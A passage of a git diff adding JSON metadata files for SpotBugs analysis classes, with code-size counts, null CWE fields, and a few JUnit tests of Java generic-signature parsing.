Information/checkers/ba/ch/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ch/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/Constant.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/Constant.json new file mode 100644 index 0000000..2167355 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/Constant.json @@ -0,0 +1,13 @@ +{ + "name": "Constant", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 12, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantAnalysis.json new file mode 100644 index 0000000..dd566bf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantDataflow.json new file mode 100644 index 0000000..64b1982 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrame.json new file mode 100644 index 0000000..d988768 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrame.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantFrame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 34, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrameModelingVisitor.json new file mode 100644 index 0000000..0243890 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/ConstantFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 107, + "branches": 3, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/constant/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefAnalysis.json new file mode 100644 index 0000000..46c485a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "UnconditionalValueDerefAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1007, + "branches": 151, + "apis": 233, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefDataflow.json new file mode 100644 index 0000000..8eb1211 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "UnconditionalValueDerefDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefSet.json new file mode 100644 index 0000000..65f18a8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/UnconditionalValueDerefSet.json @@ -0,0 +1,13 @@ +{ + "name": "UnconditionalValueDerefSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 446, + "branches": 51, + "apis": 96, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/deref/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericObjectType.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericObjectType.json new file mode 100644 index 0000000..ae64cfd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericObjectType.json @@ -0,0 +1,13 @@ +{ + "name": "GenericObjectType", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 258, + "branches": 25, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericSignatureParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericSignatureParser.json new file mode 100644 index 0000000..5d1a776 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericSignatureParser.json @@ -0,0 +1,50 @@ +{ + "name": "GenericSignatureParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 283, + "branches": 45, + "apis": 39, + "test": [ + { + "description": "testGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 35, + 40 + ], + "code": "@Test\n void testGenerics() {\n GenericSignatureParser parser = new GenericSignatureParser(\n \"(Lcom/sleepycat/persist/EntityJoin.JoinForwardCursor;)V\");\n assertEquals(1, parser.getNumParameters());\n }" + }, + { + "description": "testThrowsGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 46 + ], + "code": "@Test\n void testThrowsGenerics() {\n GenericSignatureParser parser = new GenericSignatureParser(\"(Ljava/lang/String;^TE1;^TE2;^TE3;)V\");\n assertEquals(1, parser.getNumParameters());\n }" + }, + { + "description": "testSignatures", + "expected-problems": null, + "expected-linenumbers": [ + 59, + 67 + ], + "code": "@Test\n void testSignatures() {\n processTest(\"(Ljava/lang/Comparable;)V\", \"Ljava/lang/Comparable;\");\n\n processTest(\"(Ljava/lang/Comparable;TE;**[Ljava/lang/Comparable;)V\", \"Ljava/lang/Comparable;\", \"TE;\", \"*\", \"*\",\n \"[Ljava/lang/Comparable;\");\n\n processTest(\"(TE;*+[Ljava/lang/Comparable;-TV;)V\", \"TE;\", \"*\", \"+[Ljava/lang/Comparable;\", \"-TV;\");\n }" + }, + { + "description": "testEclipseJDTInvalidSignature", + "expected-problems": null, + "expected-linenumbers": [ + 69, + 74 + ], + "code": "@Test\n void testEclipseJDTInvalidSignature() {\n GenericSignatureParser parser = new GenericSignatureParser(\"(!+LHasUniqueKey;)V\");\n assertEquals(1, parser.getNumParameters());\n assertEquals(\"+LHasUniqueKey;\", parser.parameterSignatureIterator().next());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericUtilities.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericUtilities.json new file mode 100644 index 0000000..d1b0be7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/GenericUtilities.json @@ -0,0 +1,95 @@ +{ + "name": "GenericUtilities", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 486, + "branches": 63, + "apis": 70, + "test": [ + { + "description": "testUnmatchedRightAngleBracket", + "expected-problems": null, + "expected-linenumbers": [ + 41, + 45 + ], + "code": "@Test\n void testUnmatchedRightAngleBracket() {\n assertEquals(3, GenericUtilities.nextUnmatchedRightAngleBracket(\">\", 0));\n assertEquals(1, GenericUtilities.nextUnmatchedRightAngleBracket(\"I>\", 0));\n }" + }, + { + "description": "testNestedSignature", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 51 + ], + "code": "@Test\n void testNestedSignature() {\n GenericObjectType t = (GenericObjectType) GenericUtilities.getType(SAMPLE_SIGNATURE);\n assertEquals(1, t.getNumParameters());\n }" + }, + { + "description": "testNestedSignature2", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 62 + ], + "code": "@Test\n void testNestedSignature2() {\n List parameters = GenericUtilities\n .getTypeParameters(\"Lcom/google/common/util/WeakIdentityHashMap.IdentityWeakReference;TV;\");\n\n System.out.println(parameters);\n assertEquals(2, parameters.size());\n ReferenceType t = parameters.get(0);\n assertEquals(\"com.google.common.util.WeakIdentityHashMap$IdentityWeakReference\", t.toString());\n }" + }, + { + "description": "testMapSignature", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 69 + ], + "code": "@Test\n void testMapSignature() {\n GenericObjectType t = (GenericObjectType) GenericUtilities\n .getType(\"Ljava/util/Map;\");\n assertEquals(2, t.getNumParameters());\n }" + }, + { + "description": "testNestedSignatureParser", + "expected-problems": null, + "expected-linenumbers": [ + 71, + 75 + ], + "code": "@Test\n void testNestedSignatureParser() {\n GenericSignatureParser parser = new GenericSignatureParser(\"(\" + SAMPLE_SIGNATURE + \")V\");\n assertEquals(1, parser.getNumParameters());\n }" + }, + { + "description": "testOKSignaturesThatHaveCausedProblems", + "expected-problems": null, + "expected-linenumbers": [ + 77, + 83 + ], + "code": "@Test\n void testOKSignaturesThatHaveCausedProblems() {\n assertDoesNotThrow(() -> GenericUtilities.getType(\"[Ljava/util/Map$Entry;\"));\n assertDoesNotThrow(() -> GenericUtilities.getType(\"[Ljava/util/Map;\"));\n assertDoesNotThrow(() -> GenericUtilities.getType(\n \"Lcom/palantir/finance/commons/service/calculator/Call<-Ljava/util/List;+Ljava/util/List;>;\"));\n }" + }, + { + "description": "testEclipseJDTInvalidUpperBoundSignature", + "expected-problems": null, + "expected-linenumbers": [ + 85, + 91 + ], + "code": "@Test\n void testEclipseJDTInvalidUpperBoundSignature() {\n final Type type = GenericUtilities.getType(\"!+LHasUniqueKey;\");\n assertThat(type, instanceOf(GenericObjectType.class));\n assertEquals(\"+\", ((GenericObjectType) type).getVariable());\n assertEquals(\"HasUniqueKey\", ((GenericObjectType) type).getExtension().toString());\n }" + }, + { + "description": "testEclipseJDTInvalidLowerBoundSignature", + "expected-problems": null, + "expected-linenumbers": [ + 93, + 99 + ], + "code": "@Test\n void testEclipseJDTInvalidLowerBoundSignature() {\n final Type type = GenericUtilities.getType(\"!-LHasUniqueKey;\");\n assertThat(type, instanceOf(GenericObjectType.class));\n assertEquals(\"-\", ((GenericObjectType) type).getVariable());\n assertEquals(\"HasUniqueKey\", ((GenericObjectType) type).getExtension().toString());\n }" + }, + { + "description": "testEclipseJDTInvalidWildcardSignature", + "expected-problems": null, + "expected-linenumbers": [ + 101, + 107 + ], + "code": "@Test\n void testEclipseJDTInvalidWildcardSignature() {\n final Type type = GenericUtilities.getType(\"!*\");\n assertThat(type, instanceOf(GenericObjectType.class));\n assertEquals(\"*\", ((GenericObjectType) type).getVariable());\n assertNull(((GenericObjectType) type).getExtension());\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/generic/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSet.json new file mode 100644 index 0000000..74900f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSet.json @@ -0,0 +1,13 @@ +{ + "name": "FieldSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 9, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSetAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSetAnalysis.json new file mode 100644 index 0000000..6a3a34c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/FieldSetAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "FieldSetAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 161, + "branches": 15, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadAnalysis.json new file mode 100644 index 0000000..10a8be8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "LoadAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadDataflow.json new file mode 100644 index 0000000..b53a6e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/LoadDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "LoadDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 32, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreAnalysis.json new file mode 100644 index 0000000..a16fd55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "StoreAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreDataflow.json new file mode 100644 index 0000000..3367aa5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/StoreDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "StoreDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 32, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/heap/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/FieldPropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/FieldPropertyDatabase.json new file mode 100644 index 0000000..21fb19d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/FieldPropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "FieldPropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 4, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/MethodPropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/MethodPropertyDatabase.json new file mode 100644 index 0000000..eab4e2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/MethodPropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "MethodPropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 5, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/ParameterProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/ParameterProperty.json new file mode 100644 index 0000000..1362e32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/ParameterProperty.json @@ -0,0 +1,13 @@ +{ + "name": "ParameterProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 231, + "branches": 18, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabase.json new file mode 100644 index 0000000..e5b115d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "PropertyDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 255, + "branches": 17, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabaseFormatException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabaseFormatException.json new file mode 100644 index 0000000..55ffe1c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/PropertyDatabaseFormatException.json @@ -0,0 +1,13 @@ +{ + "name": "PropertyDatabaseFormatException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/interproc/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/AbstractMethodAnnotationAccumulator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/AbstractMethodAnnotationAccumulator.json new file mode 100644 index 0000000..3aee7ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/AbstractMethodAnnotationAccumulator.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractMethodAnnotationAccumulator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/Analysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/Analysis.json new file mode 100644 index 0000000..45e89ea --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/Analysis.json @@ -0,0 +1,13 @@ +{ + "name": "Analysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 236, + "branches": 28, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflow.json new file mode 100644 index 0000000..f94ddb7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "BackwardTypeQualifierDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowAnalysis.json new file mode 100644 index 0000000..c1743bb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "BackwardTypeQualifierDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 279, + "branches": 24, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowFactory.json new file mode 100644 index 0000000..05f241d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/BackwardTypeQualifierDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "BackwardTypeQualifierDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 10, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/DirectlyRelevantTypeQualifiersDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/DirectlyRelevantTypeQualifiersDatabase.json new file mode 100644 index 0000000..65737b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/DirectlyRelevantTypeQualifiersDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "DirectlyRelevantTypeQualifiersDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 88, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FindBugsDefaultAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FindBugsDefaultAnnotations.json new file mode 100644 index 0000000..8182aaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FindBugsDefaultAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsDefaultAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 6, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FlowValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FlowValue.json new file mode 100644 index 0000000..733ff3b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/FlowValue.json @@ -0,0 +1,13 @@ +{ + "name": "FlowValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 160, + "branches": 14, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflow.json new file mode 100644 index 0000000..710ff30 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ForwardTypeQualifierDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowAnalysis.json new file mode 100644 index 0000000..86b4b28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ForwardTypeQualifierDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 272, + "branches": 26, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowFactory.json new file mode 100644 index 0000000..c51b98d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/ForwardTypeQualifierDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ForwardTypeQualifierDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 139, + "branches": 16, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/jsr305/JSR305NullnessAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule 